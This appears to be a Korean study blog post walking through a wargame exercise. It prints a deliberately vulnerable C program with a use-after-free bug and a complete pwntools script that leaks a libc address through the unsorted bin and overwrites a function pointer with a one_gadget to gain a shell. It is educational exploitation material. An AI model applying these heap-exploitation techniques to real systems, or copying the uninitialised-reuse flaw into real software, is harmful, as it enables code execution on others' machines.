[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.
- 서론
- 분석 및 설계
- 익스플로잇
- Q&A
- 마치며
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
$ gcc -o uaf_overwrite uaf_overwrite.c
$ checksec uaf_overwrite
[*] '/home/dreamhack/uaf_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
모든 보호 기법이 적용되어 있습니다.
FULL RELRO 보호 기법으로 인해 GOT를 덮어 쓰는 공격은 어렵습니다.
이럴 때는 라이브러리에 존재하는 훅 또는 코드에서 사용하는 함수 포인터를 덮는 방법을 생각해볼 수 있습니다.
위의 코드에서는 크기가 같은 Human
과 Robot
구조체가 정의되어 있습니다.
사용자는 각 구조체 변수 또는 원하는 크기의 청크를 할당/해제 할 수 있습니다.
human_fuc
함수와 robot_ruc
함수를 살펴보면, 구조체 변수를 위한 메모리 영역을 할당할 때,
할당한 메모리 영역을 초기화 하지 않습니다.
Human
구조체와 Robot
구조체의 크기는 같으므로, 한 구조체를 해제하고 다른 구조체를 할당하면,
해제된 구조체의 값을 사용할 수 있는 Use After Free가 발생합니다.
robot_func
는 생성한 Robot
변수의 fprt
이 NULL
이 아니면 이를 호출해주므로,
UAF로 이 변수에 원하는 값을 남겨놓을 수 있다면 실행흐름을 조작할 수 있습니다.
한편, custom_func
함수를 사용하면 0x100
이상의 크기를 갖는 청크를 할당하고 해제할 수 있습니다.
이 함수에서도 마찬가지로 메모리 영역을 초기화하지 않으므로 UAF가 발생할 수 있습니다.
Robot.fprt
의 값을 one_gadget
주소로 덮어서 셸을 획득할 것입니다.
코드에 있는 취약점은 UAF밖에 없으므로, 이를 이용하여 libc
가 매핑된 주소를 구해야 합니다.
이를 위해 'unsorted bin'의 특징을 이용하겠습니다.
unsorted bin에 처음 연결되는 청크는 libc
의 특정 주소와 이중 원형 연결 리스트를 형성합니다.
즉, 처음 unsorted bin에 연결되는 청크의 fd
와 bk
에는 libc의 내부 주소가 쓰입니다.
따라서, unsorted bin에 연결된 청크를 재할당하고, fd
나 bk
의 값을 읽으면 libc
가 매핑된 주소를 계산할 수 있습니다.
예제의 custom_fuc
함수는 0x100
바이트 이상의 크기를 갖는 청크를 할당하고, 할당된 청크들 중 원하는 청크를 해제할 수 있는 함수입니다.
0x410
이하의 크기의 청크는 tchache
에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin
에 연결하고, 이를 재할당하여 값을 읽으면 libc
가 매핑된 주소를 계산할 수 있습니다.
여기서 주의할 점은, 해제할 청크가 탑 청크와 맞닿으면 안된다는 점입니다.
unsorted bin에 포함되는 청크와 탑 청크는 병합 대상이므로, 이 둘이 맞닿으면 청크가 병합됩니다.
이를 피하려면 청크 두 개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 합니다.
Human
과 Robot
은 같은 크기의 구조체이므로,
Human
구조체가 해제되고 Robot
구조체가 할당되면,
Robot
Human
이 사용했던 영역을 재사용하게 됩니다.
Robot
이 할당될 때, 사용할 메모리 영역을 초기화하지 않으므로, Human
에 입력한 값은 그대로 재사용됩니다.
Human
구조체의 age
는 Robot
구조체의 fptr
와 위치가 같습니다.
따라서, human_func
를 호출했을 때, age
에 one_gadget
주소를 입력하고, 이어서 robot_func
를 호출하면 fptr
의 위치에 남아있는 one_gadget
을 호출시킬 수 있습니다.
custom_func
를 이용하여 0x510
의 크기를 갖는 청크를 할당하고, 해제한 뒤, 다시 할당하여 libc
내부의 주소를 구합니다.
이때, 구해낸 주소와 libc
가 매핑된 주소의 오프셋은 gdb로 쉽게 구할 수 있습니다.
gdb를 통해 메모리 오프셋을 구하는 방법은 info proc map
또는 vmmap
을 이용할 수 있습니다.
from pwn import *
p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1) # data 값이 "B"가 아니라 "C"가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
slog("libc_base", lb)
slog("one_gadget", og)
human->age
와 robot->fptr
이 구조체 상에서 같은 위치에 있음을 이용하면, Use After Free로 robot->fptr
의 값을 원하는 값으로 조작할 수 있습니다.
human->age
에 one_gadget
의 주소를 입력하고, 해제한 뒤, robot_func
를 호출하면 다음과 같이 셸을 획득할 수 있습니다.
from pwn import *
p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1) # data 값이 "B"가 아니라 "C"가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
slog("libc_base", lb)
slog("one_gadget", og)
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")
p.interactive()
-
-
[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.